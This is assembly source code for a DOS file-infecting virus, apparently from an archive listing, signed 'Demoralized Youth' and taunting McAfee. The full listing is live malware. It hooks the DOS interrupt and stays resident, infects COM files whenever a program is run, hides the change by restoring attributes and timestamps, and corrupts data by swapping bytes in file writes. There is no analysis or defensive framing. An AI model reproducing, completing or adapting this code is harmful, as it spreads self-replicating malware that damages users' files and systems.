home *** CD-ROM | disk | FTP | other *** search
- _attr_ equ 0
- _date_ equ 2
- _time_ equ 4
-
- fil equ 6
-
- mov ax,4245h ;sepuku!
- int 21h
- jmp short jump1
- db 'DY'
- dy equ $-2-100h
-
- _size dw offset total-100h
- _ofs dw offset total
-
- db 'McAfee, geht nach Hause! Wir sind unüberwindlich!'
-
- jump1:
- mov ax,3521h
- int 21h
- mov old21[0],bx
- mov old21[2],es
-
- mov ax,cs
- dec ax
- mov ds,ax
- lodsb
- cmp byte [0],'Z'
- jne bee_bloop_blap
- cmp word ptr [0003h],pgf
- jc bee_bloop_blap
- sub word ptr [0003h],pgf
- sub word ptr [0012h],pgf
- mov es,[0012h]
- mov si,110h
- mov di,si
- sub di,10h
- mov cx,total-100h
- rep movsb
- push es
- pop ds
-
- cli
- mov ax,2521h
- mov dx,offset swansich
- int 21h
- sti
-
- jmp 100h
-
- bee_bloop_blap:
- int 24h
- int 20h
-
- st21 db 0
-
- vier:
- mov al,0
- iret
-
- swansich:
- pushf
- cmp ax,4245h
- jne not_sepuku
- cmp word [dy+100h],'YD'
- jne not_sepuku
- popf
- push bp
- mov bp,sp
- mov ds,[bp+4]
- pop bp
- mov si,word _ofs
- mov cx,word _size
- mov di,100h
- push ds
- pop es
- cld
- bam: rep movsb
- pop ax
- mov ax,100h
- push ax
- call zero_regs
- iret
-
- olr dw 0,0
-
- not_sepuku:
- cmp ah,40h
- jne exec
- cmp bx,5
- jb exec
-
- cmp cx,16
- jl exec
-
- call push_all
- mov di,dx
- add di,cx
- dec di
- mov al,[di]
- mov bl,[di-1]
- mov [di-1],al
- mov [di],bl
- call pop_all
- exec:
- cmp ax,4B00h ;exec
- jne back
-
- cmp cs:st21,0
- jne back
-
- mov cs:st21,1
-
- call push_all
- xchg si,dx
- mov di,fil
- push cs
- pop es
- mov cx,128
- cld
- rep movsb
- call pop_all
-
- popf
-
- call o21
-
- pushf
- call push_all
-
- mov ax,3524h
- call o21
- push bx
- push es
-
- mov ah,25h
- push ds
- push cs
- pop ds
- push dx
- mov dx,offset vier
- call o21
- pop dx
- pop ds
-
- push cs
- pop ds
- mov dx,fil
-
- mov ax,4300h
- call o21
- mov cs:[_attr_],cx
- mov ax,4301h
- xor cx,cx
- call o21
- jc err1
-
- call infect
-
- mov ax,4301h
- mov cx,cs:[_attr_]
- call o21
-
- err1: pop ds
- pop dx
- mov ax,2524h
- call o21
-
- mov cs:st21,0
-
- call pop_all
- popf
- retf 2
-
-
- back: mov cs:st21,0
- popf
- jfa: db 0EAh
- old21 dw 0,0
-
- o21: pushf
- call dword ptr cs:[old21]
- ret
-
- zero_regs:
- xor ax,ax
- xor bx,bx
- xor cx,cx
- xor dx,dx
- xor si,si
- xor di,di
- ret
-
- jmp_to dw 0
-
- push_all:
- pop cs:[jmp_to]
- push bp
- push ds
- push es
- push di
- push si
- push dx
- push cx
- push bx
- push ax
- jmp cs:[jmp_to]
-
- pop_all:
- pop cs:[jmp_to]
- pop ax
- pop bx
- pop cx
- pop dx
- pop si
- pop di
- pop es
- pop ds
- pop bp
- jmp cs:[jmp_to]
-
-
-
- ;|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
- ; infection routine
- ;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- infect:
- pushf
- call push_all
-
- mov ax,3D02h
- call o21
- jnc open
-
- i_back:
- call pop_all
- popf
- ret
-
- open:
- xchg bx,ax
-
- push cs
- pop ds
- push cs
- pop es
-
- mov ax,5700h
- call o21
- mov [_date_],dx
- mov [_time_],cx
-
- mov ah,3Fh
- mov cx,offset total-100h
- mov dx,offset total
- call o21
- jnc read1
- jcls1: jmp close
-
- read1: cmp ax,cx
- jne jcls1
-
- cmp word ptr [offset total],'ZM'
- je jcls1
- cmp byte ptr [offset total],'Z'
- je jcls1
-
- cmp word ptr [offset total+dy],'YD'
- je jcls1
-
- mov ax,4202h
- xor cx,cx
- xor dx,dx
- call o21
- jc jcls1
-
- cmp dx,0
- jne jcls1
- cmp ah,0F1h
- ja jcls1
-
- add ax,100h
- mov _ofs,ax
-
- mov ah,40h
- mov dx,offset total
- mov cx,offset total-100h
- call o21
-
- jc jcls1
- cmp ax,cx
- jne jcls1
-
- mov ax,4200h
- xor cx,cx
- xor dx,dx
- call o21
-
- mov ah,40h
- mov cx,offset total-100h
- mov dx,100h
- call o21
-
- and byte [_time_],255-31
- or byte [_time_],29
- close:
- mov ax,5701h
- mov cx,[_time_]
- mov dx,[_date_]
- call o21
-
- mov ah,3Eh
- call o21
- jcls2: jmp i_back
-
- db 'Demoralized Youth vous a eu'
-
- total:
- pgf equ $/16*2
- db '═ '
-
-
-
-